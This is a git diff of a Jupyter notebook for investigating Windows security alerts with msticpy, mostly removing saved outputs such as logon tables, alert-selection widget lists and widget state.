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xFwQYAAAAAlqJgAwAAAABLUbABAAAAgKUo2AAAAADAUhRsAAAAAGApCjYAAAAAsJRf9hOQJNd1yn4KAAAAADBz42ohxxhjZvRcAAAAAAA5sCUSAAAAACxFwQYAAAAAlqJgAwAAAABLUbABAAAAgKUo2AAAAADAUhRsAAAAAGApCjYAAAAAsBQFm6VuuukmrVixQieddJLWrl0rSfra176mlStXasWKFfroRz+qQUfoPfzwwzr99NN18skn69xzz9WOHTskSdu2bdPb3/52vfrVr9bpp5+uzZs3z/T1zEeDPsP//M//1KmnnqqVK1fqXe96l3bv3t13Pz5Dewz6DNevX68VK1Zo9erV+tCHPqQgCPrux2dol+3bt2vVqlX67W9/K0m6/vrrtWrVKq1evVrvfe97+T2sgN7P8L3vfa9OOukknXLKKTrllFP0L//yL3334TO0T+/neOedd+o1r3mNVq1apYsvvpjfRctde+21WrlypVauXKmPfexj6d83m02deeaZ+sEPfjDwfnyGBTCwzv/+7/+aV7ziFeb3v/+92bFjh1m9erV54IEHzIknnmh27NhhgiAwb3rTm8y///u/99337W9/u/nWt75ljDHm2muvNR/72MeMMcZ84AMfMJ/73OeMMcbceOON5oILLpjdC5qHBn2GP/vZz8xf/MVfmJ/97GfGGGMuvPBCs3bt2r778hnaYdhneNxxx5mNGzcaY4y58sorzT/8wz/03ZfP0B7/9V//ZVatWmUOP/xw89BDD5kHH3zQnHjiieaJJ54wURSZiy++2Hzxi1/sux+foT16P0NjjFm1alX6ezgMn6FdBn2Oxx9/vPnlL39pjDHmne98p1m3bl3f/fgc7XDXXXeZN73pTWbXrl1m9+7d5owzzjC33nqr+dWvfmXe9KY3mSOOOMJ8//vfH3hfPsPp0WGz0N13361jjjlGe++9txYtWqTly5frlltu0be//W0tWrRI27Zt0/bt2/X0pz9dki3xpH4AAAxlSURBVHTZZZfp9ttvV7PZ1D333KPly5dLkl7/+tfr5ptvliTdcccdWr16tSRp1apV+rd/+zc1m81yXuA8MOgzvO2223TUUUfp0EMPlSRdfvnlOvHEEyXxGdpo1Ge4dOlSSdIrXvEK3XbbbZL4DG21bt06XXnllelntmDBAl155ZVavHixHMfRIYccoocfflgSn6Gtej/DnTt36uGHH9all16q1atX69Of/rSiKJLEZ2iz3s9RksIw1Pbt2xWGoXbt2qWFCxdK4nO00ZIlS3TJJZdowYIFajQaOvjgg/Xwww/rhhtu0Nlnn60XvOAFXbfnMyyWX/YTQL9NmzZpyZIl6Z+XLl2q++67T41GQ+vWrdNHP/pRHXnkkenC/+qrr07vt3jxYvl+/LEuWbJEGzdu7HtM3/e1ePFibdmyRcuWLZvlS5s3Bn2Gl19+uU455RRdeOGFevDBB/Wnf/qnuuSSSyTxGdpo0Gd400036Te/+Y0eeeQRLV26VDfffLMeffRRSXyGtko+l8T++++v/fffX5K0ZcsWrV27Vh/5yEe6bstnaJfez/DRRx/VMcccoyuvvFJ77bWX3vGOd+iGG27Qqaeeymdosd7PUZLe//73661vfasWL16sAw44QCeffHLXbfkc7fFHf/RH6X//+te/1j//8z/r61//ug466CBJ0pe//OWu2/MZFosOm4WiKJLjOOmfjTHpn0899VT94Ac/0LOe9Sxde+21XffrvF2i98+dt3VdPv65Mugz9H1fd955p971rndp/fr12rlzpz7/+c933Y/P0B6DPsODDjpI7373u3Xuuefq9NNP1/Of/3w1Go2u+/EZVsPGjRt15pln6g1veIOOPvrorn/jM7TbgQceqM985jNaunSp9txzT731rW/Vd7/73a7b8Bnab/PmzVqzZo2+9a1v6c4779QLXvCC9OJJgs/RPv/93/+ts846SxdffHFarI3CZ1gM3hUL7bfffl2Dl5s3b9bSpUv1ox/9SFJ8FWLlypX6xS9+0XW/ffbZR0888YTCMOy6nxR3B5JOQBAE2rF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- "text/plain": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "from msticpy.sectools.eventcluster import dbcluster_events, add_process_features, _string_score\n", "\n", @@ -5644,74 +1033,9 @@ }, { "cell_type": "code", - "execution_count": 50, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:21:39.050530Z", - "start_time": "2020-05-16T02:21:39.008528Z" - } - }, - "outputs": [ - { - "data": { - "text/html": [ - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
LogonCount
LogonTypeDesc Batch Network Service
Account
MSTICAlertsWin1\\MSTICAdmin002000000
MSTICAlertsWin1\\ian000003000
NT AUTHORITY\\SYSTEM000000010
" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "display(\n", " host_logons[[\"Account\", \"LogonType\", \"EventID\"]]\n", @@ -5742,163 +1066,11 @@ }, { "cell_type": "code", - "execution_count": 55, + "execution_count": null, "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:21:52.253650Z", - "start_time": "2020-05-16T02:21:50.510974Z" - }, - "hidden": true, - "scrolled": true + "hidden": true }, - "outputs": [ - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "

Failed Logons observed for the host between \n", - " 2019-02-13 23:07:24+00:00 and 2019-02-13 23:07:24+00:00 :\n", - "

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
TenantIdAccountEventIDTimeGeneratedSourceComputerIdComputerSubjectUserNameSubjectDomainNameSubjectUserSidTargetUserNameTargetDomainNameTargetUserSidTargetLogonIdLogonProcessNameLogonTypeLogonTypeNameAuthenticationPackageNameStatusIpAddressWorkstationNameTimeCreatedUtc
052b1ab41-869e-4138-9e40-2a4457f09bf0MSTICAlertsWin1\\ian46252019-02-13 16:28:05.417000+00:00263a788b-6526-4cdc-8ed9-d79402fe4aa0MSTICAlertsWin1MSTICAlertsWin1$WORKGROUPS-1-5-18ianMSTICAlertsWin1S-1-0-0Advapi44 - BatchNegotiate0xc000015b-MSTICAlertsWin12019-02-13 16:28:05.417000+00:00
\n", - "
" - ], - "text/plain": [ - " TenantId Account EventID \\\n", - "0 52b1ab41-869e-4138-9e40-2a4457f09bf0 MSTICAlertsWin1\\ian 4625 \n", - "\n", - " TimeGenerated SourceComputerId \\\n", - "0 2019-02-13 16:28:05.417000+00:00 263a788b-6526-4cdc-8ed9-d79402fe4aa0 \n", - "\n", - " Computer SubjectUserName SubjectDomainName SubjectUserSid \\\n", - "0 MSTICAlertsWin1 MSTICAlertsWin1$ WORKGROUP S-1-5-18 \n", - "\n", - " TargetUserName TargetDomainName TargetUserSid TargetLogonId \\\n", - "0 ian MSTICAlertsWin1 S-1-0-0 \n", - "\n", - " LogonProcessName LogonType LogonTypeName AuthenticationPackageName \\\n", - "0 Advapi 4 4 - Batch Negotiate \n", - "\n", - " Status IpAddress WorkstationName TimeCreatedUtc \n", - "0 0xc000015b - MSTICAlertsWin1 2019-02-13 16:28:05.417000+00:00 " - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "if security_alert.primary_host:\n", " failedLogons = qry_prov.WindowsSecurity.list_host_logon_failures(\n", @@ -5941,12 +1113,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-02-13T20:45:29.434121Z", - "start_time": "2020-02-13T20:45:29.427150Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "print('List of current DataFrames in Notebook')\n", @@ -6008,7 +1175,6 @@ "name": "python3" }, "kernelspec": { - "name": "Python 3.6", "language": "python", "name": "python36" }, @@ -6099,1692 +1265,6 @@ "_Feature" ], "window_display": false - }, - "widgets": { - "application/vnd.jupyter.widget-state+json": { - "state": { - "09b9eb2226ee47e086d4eb409a727792": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "1062e8c543ca48d6b2e24e24ba34148b": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "SliderStyleModel", - "state": { - "description_width": "" - } - }, - "106f3ca2252f4d4e87e41a2e9735bb1b": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - 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Set query time boundaries

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"max": 10, - "min": -20, - "style": "IPY_MODEL_3af244fa1e3b43aeb9596ae0513bd427", - "value": [ - -5, - 1 - ] - } - }, - "64d2e0659a3547b4a11c7a3df67a5cb1": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HBoxModel", - "state": { - "children": [ - "IPY_MODEL_d6a3ecd5e7cd455391f03a6a6056e329", - "IPY_MODEL_72a6f43440104605bc8970c0d29bc84c" - ], - "layout": "IPY_MODEL_58e5fce3b5e048c287993235d5dd0e0a" - } - }, - "64f548d77d0f4663b78aa3421dde9540": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "TextModel", - "state": { - "description": "Filter alerts by title:", - "layout": "IPY_MODEL_aa72a70b3b24425eadd0b96f42602d81", - "style": "IPY_MODEL_d374f497cc0a4fcd8e5a4a594834be06" - } - }, - "64fdee5184834a6fbc7c44cb20e9b2af": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "width": "95%" - } - }, - "664d0f8bd5f54bcab72fe7ed426fdb38": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "69b18d0f07cf4825939ae59150570e26": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "height": "200px" - } - }, - "6bcd2defb1c74d04a15e741d98e8f51c": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "height": "300px", - "width": "95%" - } - }, - "6df47b04f0d8414b99e4d4bd1ff54cd7": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "description_width": "initial" - } - }, - "6f1811f82e9b4556beac93a23368abf3": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "description_width": "" - } - }, - "6f97cf7f0da748e8b60d593b10f0c020": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "72133afa117b4c668caad267290965f7": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "72a6f43440104605bc8970c0d29bc84c": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "TextModel", - "state": { - "description": "Time (24hr)", - "layout": "IPY_MODEL_1d18a259593147e6bd6a656cbc9655a3", - "style": "IPY_MODEL_42fac302cabc4248827fadfc73db6b21", - "value": "23:07:57" - } - }, - "762eeb85491d41f2bf4b40d46f6da144": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "793e8788c9544bd1aa7a514092056c5a": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "7a7c20f1edbf4577bc683b2e65153e11": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "ProgressStyleModel", - "state": { - "description_width": "" - } - }, - "7b09991e981b4bd9979b981b239472b4": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "SelectModel", - "state": { - "_options_labels": [ - "Unknown", - "Interactive", - "Network", - "Batch", - "Service", - "Unlock", - "NetworkCleartext", - "NewCredentials", - "RemoteInteractive", - "CachedInteractive" - ], - "index": 9, - "layout": "IPY_MODEL_69b18d0f07cf4825939ae59150570e26", - "style": "IPY_MODEL_df98864df82746f0aa02371fb33056a0" - } - }, - "7ce0598c3dda41968a7d690b9ba9c8b2": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "7eb18d01c3b842cb8275f191d1f493f7": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "SelectModel", - "state": { - "_options_labels": [ - "2019-02-09 23:26:48+00:00 - Digital currency mining related behavior detected - (MSTICALERTSWIN1) - [id:2518525459919272837_b1d1c4df-4f84-455f-9280-35e3cfe8a313]", - "2019-02-09 23:26:48+00:00 - Security incident with shared process detected - (MSTICALERTSWIN1) - [id:2518525459919272837_a346dd76-a51d-464e-afc5-c6e5c6a8fc6e]", - "2019-02-09 23:26:48+00:00 - Suspiciously named process detected - (MSTICALERTSWIN1) - [id:2518525459919272837_d4e28a5d-6267-414c-8c1f-50d0e27fe442]", - "2019-02-11 07:22:55+00:00 - Potential attempt to bypass AppLocker detected - (MSTICALERTSWIN1) - [id:2518524310249409384_9099a9fd-d20b-4ff3-901b-c3ab4425b60d]", - "2019-02-11 07:22:55+00:00 - Security incident detected - (MSTICALERTSWIN1) - [id:2518524310249409384_8d3fe689-8504-495c-81d7-873f14a774a4]", - "2019-02-11 11:48:26+00:00 - Suspicious system process executed - (MSTICALERTSWIN1) - [id:2518524150938415247_373fc20c-47d6-43ac-ab07-28b1631b06e4]", - "2019-02-11 11:48:26+00:00 - Potential attempt to bypass AppLocker detected - (MSTICALERTSWIN1) - [id:2518524150938259676_d4ebca87-a431-41d9-98ff-180b9f06a6a8]", - "2019-02-11 18:10:58+00:00 - Potential attempt to bypass AppLocker detected - (MSTICALERTSWIN1) - [id:2518523921419094607_deb18209-676f-46c9-9c91-12ebb60c7b53]", - "2019-02-11 18:10:58+00:00 - Security incident with shared process detected - (MSTICALERTSWIN1) - [id:2518523921419094607_db29572d-7593-48c5-97b6-4d6d60ce6bf3]", - "2019-02-11 22:47:54+00:00 - Detected the disabling of critical services - (MSTICALERTSWIN1) - [id:2518523755258704446_afc76197-3738-4bcd-8c12-5bbe0d07beb7]", - "2019-02-11 22:47:54+00:00 - Detected potentially suspicious use of Telegram tool - (MSTICALERTSWIN1) - [id:2518523755258914710_6a491a9a-ce5f-451f-a6ef-0fad4ee73f67]", - "2019-02-12 11:48:01+00:00 - Security incident with shared process detected - (MSTICALERTSWIN1) - [id:2518523287189999999_1f19db0b-3d5b-4f7b-b91f-5e994ba4bde5]", - "2019-02-13 22:03:42+00:00 - Digital currency mining related behavior detected - (MSTICALERTSWIN1) - [id:2518522053771835343_cf383339-b4ff-4996-9d4e-83a4ece6688f]", - "2019-02-13 22:03:42+00:00 - Suspiciously named process detected - (MSTICALERTSWIN1) - [id:2518522053771835343_649075c9-dc5d-4a75-a848-9c51f70a45ae]", - "2019-02-13 23:07:24+00:00 - Detected the disabling of critical services - (MSTICALERTSWIN1) - [id:2518522015556924218_856f3dbd-ca72-474d-ab00-75956b161a02]", - "2019-02-13 23:07:24+00:00 - Detected potentially suspicious use of Telegram tool - (MSTICALERTSWIN1) - [id:2518522015557283714_a1008225-c62f-4f51-84aa-6aad89a02b3a]", - "2019-02-14 11:51:38+00:00 - Potential attempt to bypass AppLocker detected - (MSTICALERTSWIN1) - [id:2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f]", - "2019-02-14 11:51:38+00:00 - Suspicious system process executed - (MSTICALERTSWIN1) - [id:2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a]", - "2019-02-14 11:51:38+00:00 - Security incident detected - (MSTICALERTSWIN1) - [id:2518521557015111330_79f27254-e85f-4471-a061-3ea99b824495]" - ], - "description": "Select alert :", - "index": 0, - "layout": "IPY_MODEL_5a2595a58a864a578f9ab0d11682cab9", - "style": "IPY_MODEL_1c2e2ff467114c4884336d0921a8b150" - } - }, - "7ef926d9b50e4457860fd206f6a17656": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "85ad8dec8f72471c81f391c4a98866b6": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "IntProgressModel", - "state": { - "bar_style": "info", - "description": "Progress:", - "layout": "IPY_MODEL_3ee337e64cfc41e59597ad36f9c12599", - "style": "IPY_MODEL_7a7c20f1edbf4577bc683b2e65153e11", - "value": 100 - } - }, - "85ede4b022714219845d83da75fdf551": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "SliderStyleModel", - "state": { - "description_width": "" - } - }, - "86bd42095af8490981b00f230c111a97": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "TextModel", - "state": { - "description": "Query end time (UTC) : ", - "layout": "IPY_MODEL_41cf95f7f4f44295a054a8a8dc2d9222", - "style": "IPY_MODEL_fefe3e7da5ac4dbeb0bb1b1c62068099", - "value": "2019-02-13 23:07:57+00:00" - } - }, - "87ed7e7597334145b854cba3e6835c5b": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "layout": "IPY_MODEL_39530a0d38e04947b7a6dd79d72e5c2f", - "style": "IPY_MODEL_f8f9bc9db5674ffc8cb57269cee97534", - "value": "

Set query time boundaries

" - } - }, - "89f7b281fdb64f90b26b5243a82defa3": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "width": "50%" - } - }, - "8b61bbb03ff949dfa4d5f4519bcf0a41": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "TextModel", - "state": { - "description": "Query end time (UTC) : ", - "layout": "IPY_MODEL_a7d92a87b25f43eebe580ce001f19176", - "style": "IPY_MODEL_1423a053a774471f9236c4dc6c8fbede", - "value": "2019-02-13 23:17:57+00:00" - } - }, - "8bf309cac1d943149f8bba75c9a3e19c": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "8c2190b39c294436802519d912fff9a9": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "description_width": "" - } - }, - "8d21792eefdc45f78f104501fcef4d42": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "8ec2bf60f26c41d9883386c178524801": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "IntSliderModel", - "state": { - "description": "# logons", - "layout": "IPY_MODEL_72133afa117b4c668caad267290965f7", - "max": 200, - "min": 1, - "style": "IPY_MODEL_1062e8c543ca48d6b2e24e24ba34148b", - "value": 1 - } - }, - "91849d0b8e1a4aa982c23d1ee4b6cfa3": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "SelectModel", - "state": { - "_options_labels": [ - "2019-02-12 11:48:01+00:00 - Security incident with shared process detected - (MSTICALERTSWIN1) - [id:2518523287189999999_1f19db0b-3d5b-4f7b-b91f-5e994ba4bde5]", - "2019-02-13 22:03:42+00:00 - Suspiciously named process detected - (MSTICALERTSWIN1) - [id:2518522053771835343_649075c9-dc5d-4a75-a848-9c51f70a45ae]", - "2019-02-13 22:03:42+00:00 - Digital currency mining related behavior detected - (MSTICALERTSWIN1) - [id:2518522053771835343_cf383339-b4ff-4996-9d4e-83a4ece6688f]", - "2019-02-13 23:07:24+00:00 - Detected the disabling of critical services - (MSTICALERTSWIN1) - [id:2518522015556924218_856f3dbd-ca72-474d-ab00-75956b161a02]", - "2019-02-13 23:07:24+00:00 - Detected potentially suspicious use of Telegram tool - (MSTICALERTSWIN1) - [id:2518522015557283714_a1008225-c62f-4f51-84aa-6aad89a02b3a]", - "2019-02-14 11:51:38+00:00 - Security incident detected - (MSTICALERTSWIN1) - [id:2518521557015111330_79f27254-e85f-4471-a061-3ea99b824495]", - "2019-02-14 11:51:38+00:00 - Suspicious system process executed - () - [id:2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a]", - "2019-02-14 11:51:38+00:00 - Potential attempt to bypass AppLocker detected - (MSTICALERTSWIN1) - [id:2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f]" - ], - "description": "Select alert :", - "index": 4, - "layout": "IPY_MODEL_3402b08604a1451b9ae2a951dc36b0f8", - "style": "IPY_MODEL_5d4320e56f2a4251ace85f02ab850fb3" - } - }, - "91c7de96c2644106a8dc5d180c552920": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "92734bb437444693a58fc4be17535bf1": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DatePickerModel", - "state": { - "description": "Origin Date", - "disabled": false, - "layout": "IPY_MODEL_b11c187597854fc6b20cebdf96b64cc9", - "style": "IPY_MODEL_b112815196a6473192ea01dea411f98f", - "value": { - "date": 13, - "month": 1, - "year": 2019 - } - } - }, - "9403627f1d9c474c9b2f86e95ef95776": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "9591c03130e74805952db8974c9a5324": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "97ab3216ce5241f9aef3080364f93690": { - "model_module": "@jupyter-widgets/base", - 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"model_name": "LayoutModel", - "state": { - "height": "200px" - } - }, - "a03de69cbbed40098ce7b2a43bf63d26": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HBoxModel", - "state": { - "children": [ - "IPY_MODEL_a95fb620c70648cba99b48aec70999cb", - "IPY_MODEL_28e149b9bc3848c2831fe549e5801edb" - ], - "layout": "IPY_MODEL_c8adce40540b461785867a0412cec127" - } - }, - "a2f8f7f9f39c490e9cbcfe4893264048": { - 